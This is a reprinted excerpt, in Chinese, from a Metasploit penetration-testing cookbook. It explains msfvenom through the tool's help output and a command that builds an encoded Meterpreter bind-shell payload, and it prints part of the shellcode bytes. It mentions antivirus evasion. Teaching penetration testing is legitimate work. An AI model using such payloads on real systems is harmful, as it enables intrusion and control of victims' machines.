《Metasploit渗透测试手册》—第8章8.4节使用msfvenom

简介:

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第8章8.4节使用msfvenom,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

8.4 使用msfvenom
Metasploit渗透测试手册
在第4章中,我们曾提及过msfencode和msfpayload。现在简单回顾一下,msfpayload用于从攻击载荷中生成二进制文件,msfencode则用于使用不同编码技术对该二进制文件进行编码。现在要讨论的另一个Metasploit工具则结合了二者的功能,并在生成可隐蔽执行漏洞利用代码方面发挥重要作用。

准备
要使用msfvenom,首先启动终端提示符窗口,键入msfvenom –h 命令。

怎样实现
观察有哪些不同的可用选项。

root@bt:~# msfvenom -h
Usage: /opt/framework/msf3/msfvenom [options] 
Options:
    -p, --payload     [payload]        Payload to use. Specify a '-' or stdin to use custom..
    -l, --list        [module_type]    List a module type example: payloads, encoders, nops, all
    -n, --nopsled     [length]         Prepend a nopsled of [length] size on to the payload
    -f, --format      [format]          Format to output results in: raw, ruby, rb, perl, pl, bash..
    -e, --encoder     [encoder]         The encoder to use
    -a, --arch        [architecture]   The architecture to use
    -s, --space       [length]          The maximum size of the resulting Payload
    -b, --bad-chars   [list]           The list of characters to avoid example: '\x00\xff'
    -i, --iterations   [count]           The number of times to encode the payload
    -c, --add-code    [path]            Specify an additional win32 shellcode file to include
    -x, --template    [path]            Specify a custom executable file to use as a template
    -k, --keep                          Preserve the template behavior and inject the payload as..
    -h, --help                           Show this message

从结果可以看到,有很多重要的参数,其中,-n参数用于创建和攻击载荷大小一样的NOP sled,-b参数用于防止漏洞利用代码中出现一些常用字符,例如x00,在规避防病毒软件时,常会发生类似状况。其他参数与msfpayload和msfencode中看到的类似。

| | NOP slide, NOP sled或NOP ramp,是指空操作MOP指令序列,其作用是掩盖CPU的实际指令执行流程。 | | | -------------------------------------------------------------------------------------------------------------- |

怎样工作
要使用msfvenom,需要将攻击载荷编码类型作为参数进行传递,下面在终端窗口中执行这一任务。

root@bt:~# msfvenom -p windows/meterpreter/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3
[*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 352 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 379 (iteration=3)
buf = "\xdb\xdb\xbe\x0a\x3a\xfc\x6d\xd9\x74\x24\xf4\x5a\x29\xc9" +
"\xb1\x52\x31\x72\x18\x83\xea\xfc\x03\x72\x1e\xd8\x09\xb6" +
"\xce\xc5\x86\x6d\x1a\xa8\xd8\x88\xa8\xbc\x51\x64\xe5\xf2" +
"\xd1\xb7\x80\xed\x66\x72\x6e\x0d\x1c\x68\x6a\xae\xcd\x0e" +
"\x33\x90\x1d\x73\x82\xd8\xd7\xe0\x87\x76\xbd\x25\xf4\x23" +
"\x4d\x38\xc2\xc3\xe9\xa1\x7e\x31\xc5\xe4\x84\x2a\x3b\x37" +
"\xb3\xd6\x13\xc4\x09\x89\xd0\x95\x21\x10\x6b\x83\x94\x3d" +

要注意与攻击载荷一起传递的参数,-b参数防止x00(空字节)在shellcode中出现,我们可以在自己的漏洞利用代码中使用该shellcode。

使用框架中的不同攻击载荷生成shellcode时,msfvenom是非常方便的工具,而这些shellcode则可用于漏洞利用代码中,并在攻击者成功攻陷目标机器后提供反向连接等功能。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

相关文章
|
7天前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
36 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
13天前
|
安全 Ubuntu Linux
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
36 9
Metasploit Pro 4.22.6-2024111901 (Linux, Windows) - 专业渗透测试框架
|
2月前
|
安全 Linux Shell
Kali渗透测试:使用Metasploit对Web应用的攻击
Kali渗透测试:使用Metasploit对Web应用的攻击
150 4
|
2月前
|
安全 网络安全 Windows
Kali渗透测试:Metasploit 6.0 中的Evasion模块 原创
Kali渗透测试:Metasploit 6.0 中的Evasion模块 原创
54 0
|
2月前
|
安全 网络安全 数据库
Kali渗透测试:使用工具Metasploit攻击操作系统(一)
Kali渗透测试:使用工具Metasploit攻击操作系统(一)
223 0
|
2月前
|
安全 Linux 网络安全
Kali渗透测试:使用工具Metasploit攻击操作系统(二)
Kali渗透测试:使用工具Metasploit攻击操作系统(二)
303 0
|
安全 Java Linux
基于Metasploit的软件渗透测试(五)
基于Metasploit的软件渗透测试(五)
1067 0
基于Metasploit的软件渗透测试(五)
|
安全 Linux 测试技术
基于Metasploit的软件渗透测试(四)
基于Metasploit的软件渗透测试(四)
1344 0
基于Metasploit的软件渗透测试(四)
|
SQL 安全 网络协议
基于Metasploit的软件渗透测试(三)
基于Metasploit的软件渗透测试(三)
330 0
基于Metasploit的软件渗透测试(三)
|
XML 网络协议 关系型数据库
基于Metasploit的软件渗透测试(二)
基于Metasploit的软件渗透测试(二)
1133 0